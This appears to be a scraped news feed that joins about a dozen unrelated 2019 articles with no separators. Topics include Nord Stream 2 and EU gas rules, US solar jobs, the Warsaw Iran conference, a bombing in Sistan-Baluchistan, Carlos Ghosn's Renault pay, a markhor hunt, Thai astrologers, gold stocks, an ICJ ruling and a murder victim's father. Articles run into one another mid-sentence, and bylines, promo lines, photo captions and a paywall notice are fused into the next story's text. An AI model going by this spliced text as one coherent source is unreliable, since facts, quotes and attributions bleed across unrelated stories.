Yet, both officials said there was no deal stipulating that Germany must buy LNG from the U.S. in exchange for a softer American stance on Nord Stream 2. Two weeks ago, German news agency DW reported, citing one of the projects engineers, that Nord Stream 2 should be operational by November. Klaus Haussmann, an engineer at Nord Stream 2's future landfall site at Lubmin on Germany's Baltic Sea coast, told German public radio station Deutschlandfunk that the "raw" laying of the pipeline would be finished by the middle of 2019, according to the DW report. "Then comes the entire installation of the electrical equipment, security chains. And, then it's planned on the large scale that we get the first conduit filled with gas in November, from Russia," Haussmann said.

New EU gas pipeline import rules

On Tuesday evening, the second development broke that will also impact Germanys and the EUs gas import ambitions. An EU draft law was passed, calling for all gas import pipelines to meet EU energy market rules by not being directly owned by gas suppliers, applying non-discriminatory tariffs and transparent reporting and allowing at least 10 percent of capacity to be made available to third parties.

EU Commissioner Arias Canete, responsible for energy, said that Europe was closing a loophole in its laws as its dependency on natural gas imports increases. The new rules ensure that EU law will be applied to pipelines bringing gas to Europe and that everyone interested in selling gas to Europe must respect European energy law, he said in a statement.

The provisions would not stop the Gazprom-led Nord Stream 2 pipeline, but it does cast doubt over its operating structure going forward, even as the project nears completion. The deal reached by representatives of the European Commission and parliament and the 28 EU member states should lead to a new law in the coming months, a Reuters report said.

By Tim Daiss for Oilprice.com

More Top Reads From Oilprice.com:The U.S. solar power industry workforce expanded by 150,000 jobs in the period 2010 to 2018, the latest census from the Solar Foundation found. Last year alone, however, the sector shed almost 8,000 jobs, or 3.2 percent, the non-profit also said.

The decline in workforce was naturally attributed to the tariff war started by President Donald Trump with China, but in truth, the 2018 decline was actually smaller than the decline in jobs in the solar industry between 2016 and 2017: in that period the sectors workforce contracted by more than 9,000 jobs.

This year, despite the ongoing trade conflict, the Solar Foundation expects job additions to the sector to pick up and the long-term outlook for the sector is upbeat.

Despite two challenging years, the long-term outlook for this industry remains positive as even more Americans turn to low-cost solar energy and storage solutions to power their homes and businesses, the executive director of the Solar Foundation, Andrea Luecke said. However, it will take exceptional leadership at the federal, state, and local levels to spur this growth and address the urgent challenge of climate change. Expanding solar energy and storage across America will create high-quality jobs, reduce carbon emissions, boost local economies, and build resilient and adaptive communities. Related: Green New Deal Critics See Red

The U.S. solar industry reacted strongly to President Trumps intention to reduce the trade deficint the country has with China by imposing tariffs on a growing range of Chinese goods. PV panels were added to the first round of tariffs, sparking concern among U.S. solar companies their products and services would become a lot less competitive when cheap Chinese PV panels stop being cheap.

However, just a few months later in 2018, China surprised everyone by announcing that it would not issue approvals for any new solar power installations this year and would also cut the feed-in tariff subsidy that has been a major driver of the solar business in the country that accounts for as much as 50 percent of capacity.

This caused a major price slump in PV panel prices, by as much as 12 percent, offering a windfall to U.S. and other solar installation builders and service providers. Despite this, costs went up, with a September 2018 report from Energy Sage calculating that the cost of a residential solar installation was 5.6 percent higher than it would have been without the tariffs. This amounted to US$960 per household or US$236.5 million in total for the period between September 2017 and September 2018.

In addition to the higher installation costs resulting from higher panel prices, the tariffs also led to the shelving of a number of expansion projects worth US$2.5 billion as of June, Reuters reported at the time. The figure compared with US$1 billion announced in local panel manufacturing capacity expansion, so the net effect was negative.

Actually, it was this shelving that contributed considerably to the 2018 jobs decline in the solar industry, the Solar Foundation said. Now, it seems, the dust is beginning to settle and these projects would be taken off the shelf with more jobs opening up in the growing sector.

By Irina Slav for Oilprice.com

More Top Reads From Oilprice.com:US and Israeli leaders gathered Wednesday in Warsaw for a conference they hope will pile pressure on Iran, as Britain held out hope for progress on Yemen's humanitarian crisis. Starting with a dinner at the Royal Castle in Warsaw's old town, the two-day meeting has set a vague goal of promoting "peace and security in the Middle East" but is as notable for its absences as its attendees. Israeli Prime Minister Benjamin Netanyahu and US Vice President Mike Pence will headline the conference Thursday but few prominent European officials have come to fellow EU member Poland amid unease with the strident US line on Iran. Tehran branded the conference a failure even before it started, saying that the United States was trying to speak on behalf of other countries rather than exchange views. "It is another attempt by the United States to pursue an obsession with Iran that is not well-founded," Foreign Minister Mohammad Javad Zarif told a news conference in Tehran. "The Warsaw conference, I believe, is dead on arrival," he said. Iran earlier summoned the ambassador of Poland, which is eager to please the US amid worries over a resurgent Russia. Poland has since taken pains to say that the conference is not directed at Iran and that it joins the European Union in supporting a 2015 agreement under which Tehran constrained its nuclear programme in return for promises of sanctions relief. President Donald Trump bolted last year from the deal negotiated by his predecessor Barack Obama, calling it "terrible", and instead reimposed sweeping sanctions aimed at strangling the Iranian economy. Netanyahu, speaking as he headed to Warsaw, said that Israel launched new military strikes Monday against Iranian-linked sites in Syria, where the Jewish state is adamant about eliminating the presence of Tehran and its ally Hezbollah. "We are operating every day, including (Monday), against Iran and its attempts to establish its presence in the area," said Netanyahu, a longtime hawk against the clerical regime which refuses to recognise Israel's existence. - Guarded hopes on Yemen - The sole senior official from a major European power to attend is British Foreign Secretary Jeremy Hunt, who said he wanted to focus on ending the crisis in Yemen. Several million Yemenis are on the brink of starvation and the country has suffered one of the worst cholera outbreaks in modern times as Saudi Arabia and the United Arab Emirates -- backed by the United States -- seek to bomb and blockade Iranian-linked Huthi rebels into surrender. Hunt -- whose country is also a major arms supplier to Riyadh -- met Tuesday evening in Warsaw jointly with US Secretary of State Mike Pompeo and senior officials from Saudi Arabia and the United Arab Emirates. Hunt said he hoped to expand on a seven-week ceasefire that has largely held in the crucial port city of Hodeida. "We now have a shortening window of opportunity to turn the ceasefire into a durable path to peace -- and stop the world's worst humanitarian crisis," Hunt said. "Real progress has been made to reach a political solution but there are also real issues of trust between the two sides," he said. - Trump ally seeks regime change - Russia -- a major player in Syria as Trump withdraws US troops -- is shunning the conference and will hold parallel talks Thursday in the resort of Sochi with Iranian President Hassan Rouhani and Turkish President Recep Tayyip Erdogan. In Warsaw, Turkey said it will only send embassy staff to the conference among its NATO allies. The Trump administration has insisted that it wants changes in Iran's policies in the Middle East but that it is not looking to topple the regime -- which began to emerge 40 years ago this week when the Islamic revolution toppled the pro-US shah. Yet former New York mayor Rudy Giuliani -- who serves as Trump's personal lawyer but does not represent the US government -- openly called for regime change at a rally in Warsaw with Iran's exiled opposition. "We shouldn't be doing business with a nation that supports terrorism," Giuliani told the rally of the People's Mujahedin, which is close to US conservatives. "They should be ostracised. That's what we've done with countries like that," he said. "I know we're united in that we want to see a regime change in Iran, so that there's a regime that is democratic, that's lawful." The formerly armed opposition group, whose members fervently back their leader Maryam Rajavi, has carried out attacks inside Iran but was delisted as a terrorist group by the United States in 2012. Netanyahu is likely to deliver a fiery address on Iran, whose leaders reject Israel's existence Iran's Foreign Minister Mohammad Javad Zarif tells a news conference that the Warsaw conference on the Middle East is 'dead on arrival' Several million people are on the brink of starvation in Yemen Former New York mayor Rudy Giuliani speaks during a rally in Warsaw of supporters of the National Council of Resistance of Iran, demanding tougher policy on IranA suicide car bombing on a Revolutionary Guards bus in southeastern Iran killed 27 troops on Wednesday, in one of the deadliest attacks on the elite forces in years. The assault came as the troops were returning from a border patrol mission, the Guards said in a statement. "In this terrorist attack 27 of Islam's brave warriors were killed and 13 were wounded," the statement read, accusing "world domination and Zionist intelligence agencies" of supporting the attackers. Earlier the official IRNA news agency said "the suicide attack on an Islamic Revolutionary Guards Corps personnel bus happened on the Khash-Zahedan road." A picture released by the semi-official Fars news agency showed a hulk of twisted metal lying by the side of a road, unrecognisable as a bus. The attack happened when "a car filled with explosives blew up besides a bus," the Guards said. "Mercenaries of intelligence agencies of world arrogance and domination," carried out the attack to counteract "the victory of the 40th anniversary of the Islamic revolution," they added. Iran has been celebrating the 40th anniversary of the return to Tehran of Ayatollah Ruhollah Khomeini in 1979 after more than 14 years in exile and the overthrow of the pro-Western shah. His arrival triggered the start of the Islamic Revolution and led to the creation of the Islamic Republic. Wednesday's attack took place in the volatile southeastern province of Sistan-Baluchistan which has a large, mainly Sunni Muslim ethnic Baluchi community straddling the border with Pakistan. The SITE Intelligence Group reported that the attack was claimed by Jaish al-Adl, a jihadist group formed in 2012 as a successor to the Sunni extremist group Jundallah (Soldiers of God), which waged a deadly insurgency against Iranian targets over the past decade. The Jaish al-Adl -- blacklisted as a "terrorist group" in Iran -- "announced its responsibility in a brief Persian message on February 13, 2019," SITE reported. The attack came on the same day as the United States gathered some 60 countries in Poland for a conference on the Middle East and Iran which they hoped would increase pressure on Tehran. - 'US obsession' - Dubbing the meeting in Poland the "WarsawCircus", Iranian Foreign Minister Mohammad Javad Zarif said it was "no coincidence that Iran is hit by terror on the very day" that the talks began in the Polish capital. "Especially when cohorts of same terrorists cheer it from Warsaw streets & support it with twitter bots? US seems to always make the same wrong choices, but expect different results," Zarif wrote on Twitter. He earlier blasted the two-day conference as "dead on arrival". "It is another attempt by the United States to pursue an obsession with Iran that is not well-founded," Zarif told a Tehran news conference. Sistan-Baluchistan has been the scene of other attacks. On January 29 three members of an Iranian bomb squad sent to the scene of an explosion in its capital Zahedan were wounded when a second device blew up as they were trying to defuse it, police said at the time. And in early December last year two people were killed and around 40 others wounded in the port city of Chabahar, also in Sistan-Baluchistan, in an attack which Zarif at the time blamed on "foreign-backed terrorists" -- a reference to Sunni Muslim extremists. Another of the bloodiest attacks in recent times to have hit Iran happened in September when assailants killed 24 people at a military parade in the southwestern city of Ahvaz. In October, Jaish al-Adl claimed responsibility for abducting 12 Iranian security personnel near the border with Pakistan. And in July at least 10 members of the Revolutionary Guards were killed when insurgents attacked one of their bases along the border with Iraq. The scene of the suicide attack on February 13, 2019 on a Revolutionary Guards bus in southeastern Iran Map of Iran locating the city of Zahedan.Renault said Wednesday that its board has decided not to pay out the equivalent of two years of salary to ex-CEO Carlos Ghosn which would have been due to him under a non-compete clause in his contract. After a meeting on Wednesday, the board also said that he was not eligible for millions of euros' in stock options which were "subject to his presence within Renault". Company sources, speaking to AFP ahead of the meeting, said the loss of the non-compete pay and stock options amounted to about 10 million euros ($11.3 million) for Ghosn, who remains in jail awaiting trial in Japan. The former auto boss, once considered the most powerful man in the industry, resigned his position at Renault last month after being arrested on financial misconduct charges in Tokyo in November. He is accused of under-reporting millions of dollars in salary as head of Nissan, Renault's partner in an alliance Ghosn built up into the world's top-selling auto group. The French state, which is a major shareholder in Renault and had tangled with Ghosn before over his pay, had said it would do its utmost to avoid a "golden parachute" for the 64-year-old that would have proved highly controversial. As part of his pay package, Ghosn was entitled to 100,000 Renault shares each year, but they were only convertible after four years in the company. Ghosn was therefore unable to claims the shares from 2015, 2016, 2017 and 2018, the company said in its statement. At current prices, the 100,000 Renault shares from 2015 would be worth some 5.7 million euros. Carlos Ghosn, once considered the most powerful man in the industry, resigned his position at Renault last month after being arrested on financial misconduct chargesA big game hunter has paid $150,000 to travel to Pakistan and kill a rare goat.

Bryan Harlan, from Texas, paid the hefty price to hunt down a markhor  an endangered spiral-horned goat which is the countrys national animal.

Mr Harlan shot the male markhor during the tourist expedition to the northern Himalayan region of Gilgit-Baltistan, accompanied by several hunting guides and hosts.

It was an easy and close shot. I am pleased to take this trophy, he told Pakistani television.

Several years ago conservationists were called upon to save the dwindling numbers of markhor, bringing an end to the hunting of them, The South China Morning Post reported.

Bryan Harlan posing with his kill. Source: Facebook/ Abdullah Khalid

However the government moved to allow limited numbers of tourists to hunt markhor, limited to 12 kills per season.

About 80 per cent of funds raised from the hunts is distributed between impoverished local residents within the mountainous regions where the goats live.

Mr Harlans kill has received strong backlash online after images emerged of him posing with the deceased goat.

Mr Harlan celebrating with hunters and tour guides. Source: Facebook/ Abdullah Khalid

To kill such a magnificent animal for sport is sickening, one person said.

I think this is sad on so many levels, another said.

Yet the hunter said the kill was responsible and all above board.

This is a perfect example of hunters and villagers coming together for a common goal of game conservation, he said.

Mr Harlan also said his visit to the country along others should boost tourism in the country, with visitor numbers slowly diminishing in the country since 9/11, according to local hunters in the region.Acting Pentagon chief Patrick Shanahan made an unannounced visit to the Iraqi capital on Tuesday for talks on the sensitive issue of a continued US troop presence after Washington withdraws from neighbouring Syria. Shanahan is keen to reassure Iraqi leaders after President Donald Trump angered many by saying he wanted to maintain some troops at the Al-Asad airbase, northwest of Baghdad, to keep an eye on Iran. The acting defence secretary, who flew in from Afghanistan on his first foreign tour since taking office last month, held talks with Prime Minister Adel Abdel Mahdi and top military advisers, as well as Lieutenant General Paul LaCamera, the commander of anti-IS coalition forces. His meeting with Iraq's premier had "a very good energy", Shanahan told the press after arriving in Brussels where he is set to attend a NATO summit. "I made very clear that we recognise their sovereignty, their focus on independence and that we are there at the invitation of the government," he added. Asked whether they had touched on the possibility of US troops in Iraq deploying across the border into Syria for operations against the Islamic State group, Shanahan said: "It just did not come up." The two spoke about Iran "indirectly... in the context of Iraq's independence", he said, adding that Abdel Mahdi had stressed the need for Baghdad to maintain good relations with both its neighbours and the US. - Focus on IS - A senior Pentagon official had earlier told journalists travelling with Shanahan that Washington's "main partnership and military activity in Iraq is the de-ISIS (IS) mission". Washington was also pressing its allies to repatriate their nationals captured and taken prisoner during the fight against IS in Iraq and Syria, the official said. "We think coalition members need to take responsibility for their citizens who are fighters. It's been a message we've delivered time and time again. And we are seeing hopeful progress," he said. Trump's comments about Iran, in an interview with CBS television aired February 3, drew a stern rebuff from President Barham Saleh, who said the use of Iraq as a base against a third country violated its constitution. They also sparked renewed calls for a US withdrawal both from pro-Iran factions within the government and from Iran-trained armed groups whose power has risen sharply during the fightback against IS jihadists that culminated in December 2017. Those calls are likely to intensify as Washington carries out the full troop withdrawal from Syria unveiled in a shock announcement by Trump in December. The plan, judged hasty by both US allies and senior figures within Trump's own administration, prompted the resignation of Shanahan's predecessor, Jim Mattis. But with US-backed Kurdish-led fighters poised to overrun IS's last sliver of territory in eastern Syria perhaps as early as this week, the withdrawal, which other administration figures had managed to slow, is now likely to gather pace. - 'Incredible base' - Trump's comments about the Al-Asad airbase came after the US president had already angered Iraqi leaders in December by paying a Christmas visit to US troops based there without travelling to Baghdad to speak with officials. "We spent a fortune on building this incredible base. We might as well keep it," Trump said in the CBS interview. "One of the reasons I want to keep it is because I want to be looking a little bit at Iran because Iran is a real problem," he added. A draft law that would set a timetable for a US troop withdrawal is now before the Iraqi parliament. It is backed by both of Iraq's most powerful political groupings -- the nationalist alliance led by firebrand Shiite cleric Moqtada Sadr, and the pro-Iran movement of former anti-IS fighters. At a rare joint news conference on Monday, the two groupings demanded at the very least a "new agreement" setting tight conditions on any future foreign troop presence. Following the US-led invasion that overthrew since-executed dictator Saddam Hussein in 2003, US troop numbers peaked at some 170,000 before a full withdrawal was completed in 2011. Troops returned to Iraq in 2014 as part of an international coalition set up to fight IS after it swept through much of the north and west as well as swathes of neighbouring Syria that year. As for his talks on Wednesday in Brussels, Shanahan said he would brief his "counterparts here at NATO on my perceptions of Afghanistan, Syria and Iraq and what the opportunities are for the coalition". He said he would discuss "where we can take advantage of the opportunities there... in terms of the potential in northeast Syria to establish an observer force" to ensure stability in the longer term. Patrick Shanahan took over as US acting defence secretary last month following the resignation of Jim Mattis US President Donald Trump's insistence that he wants US troops to continue to keep an eye on Iran from the Al-Asad airbase northwest of Baghdad which he visited in December has triggered widespread Iraqi resentment US President Donald Trump and First Lady Melania Trump greet members of the US military during a surprise Christmas trip to Al Asad Air Base in Iraq in DecemberShares of gold mining stocks Goldcorp (NYSE: GG), Eldorado Gold (NYSE: EGO), and Yamana Gold (NYSE: AUY) rose 14%, 20%, and 30%, respectively, in January, according to data from S&P Global Market Intelligence.

With the price of gold climbing 3.46% in January, it comes as little surprise that all three mining stocks also rose last month. In all three cases, however, investors were moved to pick up shares for reasons that outshine a rise in the price of the metal. Let's dig in deeper and see what other forces were at play.

A hand holding gold pieces

Image source: Getty Images.

For Goldcorp, a golden acquisition

In one of the gold industry's most notable news stories last month, Goldcorp announced that it had entered into a definitive agreement with Newmont Mining (NYSE: NEM) in which Newmont will acquire all outstanding shares of Goldcorp's common stock in a deal valued at $10 billion. Newmont will acquire each Goldcorp share for 0.3280 of a Newmont share, representing a 17% premium based on the companies' 20-day volume weighted average share prices. The transaction is expected to close in the second quarter of 2019 and has already been approved by both companies' boards of directors.

Over the next two years, the newly formed entity, Newmont Goldcorp, is targeting divestitures of $1 billion to $1.5 billion in an attempt to optimize gold production and achieve a consistent annual level of 6 million to 7 million ounces. For some context, Newmont and Goldcorp reported gold production of 5.3 million ounces and 2.6 million ounces, respectively, in 2017. According to the company's press release, the transaction is expected to generate up to $100 million in annual pre-tax synergies.

Investors also responded favorably to Goldcorp's announcement of its preliminary Q4 2018 earnings and its 2019 outlook. Exceeding its guidance, Goldcorp achieved Q4 gold production of 630,000 ounces, and it expects to report all-in sustaining costs (AISC) for 2018 of $850 per gold ounce, which is in line with guidance. In the coming year, Goldcorp expects to achieve gold equivalent production of 3.3 million ounces to 3.7 million ounces -- an increase over the 3 million ounces it expects to report for 2018; moreover, it forecasts 2019 AISC per gold ounce between $750 and $850.

Story continues

Eldorado talks Turkey, and 2019

Shrugging off Eldorado's mid-January announcement of its 2018 gold production and preliminary cash costs, investors responded to the company's update on the Kisladag gold mine in Turkey as well as its gold production and financial guidance for 2019. In Q1 2018, Eldorado's management chose to suspend operations at Kisladag so it could examine processing options. After several months of evaluation, management decided to advance a mill project at Kisladag, and according to the company's press release, since the advancement of the mill project, "gold recovery from the leach pad increasingly exceeded expectations." Moreover, management believes that the resumption of mining and heap leaching at Kisladag will provide the company with the flexibility to shore up its balance sheet in 2019.

Regarding the company's three-year outlook, management guided for gold production in each of the next three years to be higher than the 349,147 ounces it achieved in 2018, and AISC lower than the $990 per gold ounce, which it booked in 2018. From 2019 to 2021, Eldorado foresees average annual gold production between 420,000 and 450,000 ounces, and it forecasts average annual AISC per gold ounce between $867 and $967.

Yamana's 2018 was paved in yellow brick, and the road ahead may be the same

Rushing to pick up shares in the second half of the month, investors celebrated Yamana Gold's mid-January presentation, which provided preliminary financial figures for 2018 and a glittering glimpse into 2019.

According to management, the company will report gold equivalent ounces (GEO) production that exceeds expectations. Whereas management had originally guided for GEO production of 1.013 million ounces, it now expects to report GEO production of 1.041 million ounces -- a 16.7% increase over the 892,000 ounces that it reported in 2017. And thanks to improved efficiencies at Chapada in Brazil and other mine sites, management expects to generate a wider margin. While the company reported AISC of $827 per GEO in 2017, management forecast AISC of $725 to $745 for 2018.

Transitioning to the days ahead, Yamana provided additional cause for investors to rejoice. Management forecast GEO production of 1.08 million ounces and 1.15 million ounces in 2019 and 2020, respectively. Cerro Moro in Argentina, the company's newest mine, is operating at a better-than-expected level. According to management's presentation, in Q3 2018, Cerro Moro achieved "production run-rates already at levels needed to meet guidance for 2018 and 2019, and also with costs below the levels guided for both years."

The golden takeaway

It comes as no surprise that many gold mining stocks jumped in January with the rising price of the metal. For Goldcorp, however, the stock's rise is closely tied to news of the pending transaction with Newmont -- a deal that the company believes will result in the formation of the "world's leading gold company."

Regarding Eldorado, investors should hardly interpret the stock's movement as an indication that it's attractive, for the ambiguity surrounding the company's Skouries mine in Greece remains a valid concern.

On the other hand, with the development of Cerro Moro, Yamana is apparently succeeding in bringing its plan of maximizing shareholder value to fruition.

More From The Motley Fool

Scott Levine has no position in any of the stocks mentioned. The Motley Fool has no position in any of the stocks mentioned. The Motley Fool has a disclosure policy.Bangkok (AFP) - A hand-drawn map of constellations and planetary orbits shows Thailand in the throes of a "gateway" year of change, says astrologer Pinyo Pongcharoen -- one of a legion of fortune tellers sought out by politicians in chaotic and unpredictable times.

"The stars are all in place," the president of Thailand's International Astrological Association told AFP.

"There will be a big change, a big confrontation, a big negotiation."

His forecast might lack precision but it carries weight for Thais, who have long turned to fortune tellers for a hint of what lies in store at school, in business, love and politics.

And politics is currently dominating conversations, following a series of dramatic events which have lit up the political landscape ahead of elections set for March 24.

Thailand's King Maha Vajiralongkorn on Friday slapped down the unprecedented prime ministerial candidacy of his sister Princess Ubolratana, which brought the revered monarchy into frontline politics, as a "highly inappropriate" move.

She was proposed for premier by the Thai Raksa Chart party, which is aligned with the powerful Shinawatra clan and is now waiting to see if it will be censured for the bold, perhaps foolish, move.

The upheaval triggered rumours of a possible counter-coup to oust junta leader Prayut Chan-O-Cha, speculation he denies.

Pinyo -- who has read the fortune of a former prime minister, though he declined to say who -- refused to be drawn into unpicking what it all means, saying only that there will be a showdown between "liberal and conservative" forces.

"It's a fight between the people who have a new thinking and the people who keep the old way of thinking," he said cryptically.

- Aligning with the cosmos -

Thailand's history is steeped in astrology, with every twist in the country's volatile history of coups, protests and short-lived civilian governments informed by the stars, said Edoardo Siani, a cultural anthropologist of Thailand at Kyoto University.

Story continues

It is common for Thais to discern meaning in everyday symbolism and they are conscious of auspicious dates, places and colours.

Politicians capitalise on this fluency, he added.

Thai Raksa Chart, the party which proposed the princess' ill-fated bid for prime minister, announced her candidacy at 9:10 am last Friday  with the timing rumoured to symbolise her connection with her father, the late King Rama IX, and her brother, current King Rama X.

"It is about aligning the individual with the greater cosmos," said Siani.

Uncertainty in politics feeds the fortune-telling industry as people are unable to discuss rival sides openly because of legal controls and the country's sharp divisions.

"You don't know what's going to happen, so you become interested in prophecies and it gives you answers that you can't even ask about," Siani said.

- 'Their time is up' -

While astrology is often favoured by the elite, tarot cards have gained popularity among ordinary people.

They provide more definitive answers than complex astrological maps.

Dao Dao, a fortune teller in a central Bangkok district, flips over a tarot card featuring "The Wheel of Fortune".

"Yes, (junta leader Prayut) will come back as prime minister," she said.

Her premonition of Prayut's evolution from junta chief to civilian leader matches the prediction of Warin Buaviratlerd, a renowned army astrologer who has known the gruff former general for 20 years.

"The group of people who are serving the country now will come back and serve again," Warin told AFP, adding that he believes the Shinawatra clan is done.

Thai politics has revolved around billionaire ex-premier Thaksin Shinawatra for almost two decades, and his party and its proxies have won every election since 2001.

But analysts say the recent upheaval linked to Ubolratana's fleeting tilt for office has seriously undercut Thaksin's position and if Thai Raksa Chart is dissolved, it would deal a serious blow to his affiliated parties' electoral chances.

"Their time is up," said the astrologer.

- 'Results will stun us' -

Fongsanan Chamornchan, a former journalist who switched to fortune-telling a year ago, is less certain about Thailand's political fate.

"Many" politicians have sought her out because of her previous job, she said, and the number one question asked is whether elections will be held this year.

Despite recent rumours of an impending coup -- Thai generals have a penchant for coups and have grabbed power 12 times since the end of absolute monarchy in 1932 -- Fongsanan remained steadfast.

"No coup," she told AFP. "We are headed to an election and coronation."

But the presence of "Uranus in Aries" means the details of who will come out on top remain in flux.

"I can't dare to predict who will be prime minister.... All I know is that the results of the election will stun us."Finish this article for as low as $1 when you purchase a day pass. Just click the sign up button to purchase. If you are already a subscriber, just click log in to continue reading.Want to participate in a short research study? Help shape the future of investing tools and you could win a $250 gift card!

Ming Jiang became the CEO of Coastal Greenland Limited (HKG:1124) in 2010. First, this article will compare CEO compensation with compensation at similar sized companies. Then well look at a snap shot of the business growth. Third, well reflect on the total return to shareholders over three years, as a second measure of business performance. This process should give us an idea about how appropriately the CEO is paid.

Check out our latest analysis for Coastal Greenland

How Does Ming Jiangs Compensation Compare With Similar Sized Companies?

At the time of writing our data says that Coastal Greenland Limited has a market cap of HK$1.0b, and is paying total annual CEO compensation of HK$3.6m. (This is based on the year to 2018). Notably, the salary of HK$3.6m is the vast majority of the CEO compensation. We took a group of companies with market capitalizations below HK$1.6b, and calculated the median CEO compensation to be HK$1.7m.

It would therefore appear that Coastal Greenland Limited pays Ming Jiang more than the median CEO remuneration at companies of a similar size, in the same market. However, this fact alone doesnt mean the remuneration is too high. We can get a better idea of how generous the pay is by looking at the performance of the underlying business.

The graphic below shows how CEO compensation at Coastal Greenland has changed from year to year.

SEHK:1124 CEO Compensation February 13th 19

Is Coastal Greenland Limited Growing?

On average over the last three years, Coastal Greenland Limited has grown earnings per share (EPS) by 78% each year (using a line of best fit). Its revenue is down -61% over last year.

This demonstrates that the company has been improving recently. A good result. The lack of revenue growth isnt ideal, but it is the bottom line that counts most in business. Although we dont have analyst forecasts, you might want to assess this data-rich visualization of earnings, revenue and cash flow.

Story continues

Has Coastal Greenland Limited Been A Good Investment?

Boasting a total shareholder return of 35% over three years, Coastal Greenland Limited has done well by shareholders. This strong performance might mean some shareholders dont mind if the CEO were to be paid more than is normal for a company of its size.

In Summary

We examined the amount Coastal Greenland Limited pays its CEO, and compared it to the amount paid by similar sized companies. Our data suggests that it pays above the median CEO pay within that group.

Importantly, though, the company has impressed with its earnings per share growth, over three years. Even better, returns to shareholders have been plentiful, over the same time period. As a result of this good performance, the CEO remuneration may well be quite reasonable. CEO compensation is one thing, but it is also interesting to check if the CEO is buying or selling Coastal Greenland (free visualization of insider trades).

Arguably, business quality is much more important than CEO compensation levels. So check out this free list of interesting companies, that have HIGH return on equity and low debt.

To help readers see past the short term volatility of the financial market, we aim to bring you a long-term focused research analysis purely driven by fundamental data. Note that our analysis does not factor in the latest price-sensitive company announcements.



The author is an independent contributor and at the time of publication had no position in the stocks mentioned. For errors that warrant correction please contact the editor at editorial-team@simplywallst.com.The Hague (AFP) - An international court Wednesday ruled Iran can proceed with a bid to unfreeze assets in the United States, rejecting Washington's claims the case must be halted because of Tehran's alleged support for international terrorism.

Washington had argued that Iran's "unclean hands" -- a reference to Tehran's suspected backing of terror groups -- should disqualify its lawsuit to recover $2 billion in assets frozen by the US Supreme Court in 2016.

The International Court of Justice in The Hague threw out some of the US challenges, and said it had the right to hold full hearings at a later date as to whether Tehran will get the money back.

Chief judge Abdulqawi Ahmed Yusuf said the UN's top court "unanimously rejects the preliminary objections to admissibility raised by the United States of America".

The court also "finds that it has jurisdiction" in the case, Yusuf said at the end of an hour-long reading of the decision.

Washington, however, called the court's ruling a "significant victory" for America because it threw out a key issue pertaining to Iran's claims of sovereign immunity.

The case is one in which "the Iranian regime seeks to misuse legal process and distort principles of international law," the State Department said.

Tehran said the United States had illegally seized Iranian financial assets and those of Iranian companies -- and with Iran's clerical regime facing economic difficulties after sanctions and a fall in its currency, resolving the case remains crucial.

The US Supreme Court had said Iran must give the cash to survivors and relatives of victims of attacks blamed on Tehran, including the 1983 bombing of a US Marine barracks in Beirut and the 1996 Khobar Towers bombing in Saudi Arabia.

Iran said the freezing of the funds breached the 1955 Treaty of Amity with the United States, an agreement signed before Iran's 1979 Islamic Revolution severed relations between the countries.

Story continues

The United States announced in October that it was pulling out of the Treaty of Amity after the ICJ in a separate case ordered Washington to lift nuclear-related sanctions on humanitarian goods for Iran.

The ICJ is the top court of the United Nations and was set up after World War II to resolve disputes between member states. Its rulings are binding and cannot be appealed, but it has no means of enforcing them.

- 'Unclean hands' -

Tensions between Tehran and Washington are high around the 40th anniversary of the Iranian revolution and a Middle East meeting in Warsaw where the United States aims to pile pressure on Iran.

Long-fraught relations had already been further strained by US President Donald Trump's decision last year to pull out of a "terrible" international nuclear deal with Iran and reimpose sanctions.

The 2015 nuclear deal had unblocked billions of dollars in other Iranian funds.

Iran first lodged the lawsuit in June 2016, accusing Washington of breaking the decades-old amity treaty dating from the time of the Shah, who was deposed in the revolution.

Judge Yusuf noted that at the last hearing on Iran's funds in October, the United States had argued "that Iran's 'unclean hands' preclude the court from proceeding with this case."

But he added that "even if it were shown that (Iran's) conduct was not beyond reproach, this would not be sufficient" on its own to throw out the case.

He also said the fact that the US had now pulled out of the amity treaty with Iran "has no effect on the jurisdiction of the court" and that it now needed to hold detailed hearings.

US officials including US National Security Advisor John Bolton have previously called the ICJ's legitimacy into account, and were incensed by October's ruling by the court that Washington must drop sanctions on humanitarian goods.

In Poland this week, US Secretary of State Mike Pompeo is seeking to use a two-day conference of foreign ministers to try to rally the world behind increasing pressure on Iran and supporting Israel.

The Trump administration has found itself at odds with its European allies over the nuclear deal, with EU powers launching a mechanism to bypass sanctions.Try this experiment: Take a moment and ask yourself whether you can name the most recent mass shooting incident in the United States. Do you know where it took place? Can you name any of the latest shooting victims? Can you name a single shooting victim from the past year?

In the U.S., the frequency of gun violence means we have to grapple with a seemingly unending list of victims, most of whom weve never met and whose names we will never know. For these victims families, elevating their loved ones and affirming their worth in such an environment can be like swimming upstream.

Azim Khamisa remembers all the details of his sons murder in 1995, and his life goal is to make sure you do too.

A photo of Tariq Khamisa. (Photo: HuffPost)

Bust him, Bones.

On Jan. 21, 1995, a 20-year-old pizza delivery man named Tariq was out on delivery in North Park, California, a San Diego suburb. According to court testimony, soon after Tariq arrived, he learned hed been given a real address but a fake apartment number. After knocking on a few different doors, Tariq headed back to his car with the warm pizza in hand. As he situated himself and prepared to back out of the complex, a group of three 14-year-old boys, acting under the command of an 18-year-old with them, descended on his car and demanded Tariq give them the pizza.

When Tariq refused, the 18-year-old leader gave an order to one of the younger boys.

Bust him, Bones, he said, using the boys nickname.

That night, Tariq Khamisa was shot and killed  as his father recalls, over a lousy pizza. A single bullet traveled what doctors referred to as a perfect path, destroying his vital organs.

As it happens, just months earlier, a California law had gone into effect that lowered the age at which one could be tried as an adult, from 16 to 14.

This meant that Tariq Khamisas killer, 14-year-old Tony Hicks, would become the first child in California charged as an adult for murder.

Azim and Ples

There is painful detail in Azim Khamisas memory of his sons death. He recalled, for example, being in disbelief when detectives contacted him with the news.

Story continues

I quickly hung up on Homicide, he said, and called [Tariq] fully expecting him to pick up the phone.

He also remembers being immobilized by the realization that hed lost his only son.

I was in my kitchen, and I lost strength in both of my legs as I collapsed to the floor, curled up in a ball, Khamisa said. He frequently likens the sensation to nuclear bombs detonating in his heart.

I had my first out-of-body experience, he said.

For the grieving father, what followed was a spiritual journey. Khamisa, a Sufi Muslim, contacted his spiritual teacher for guidance and later went on a personal retreat to Mammoth Mountain, California. There, he said, was where he discovered how and why I wanted to live the rest of my life.

Thats when he reached out to Ples Felix, the grandfather of Tariqs killer, Tony Hicks.

Azim Khamisa, left, and Ples Felix meditate together. (Photo: HuffPost)

Felix is a former Army serviceman who became Tonys guardian when the boys young mother could no longer raise him in the violent streets of South Central Los Angeles.

He has an old-fashioned coolness about him; he is gifted with a natural storytellers rhythm, a distinctive way with words and a syrupy Southwestern drawl.

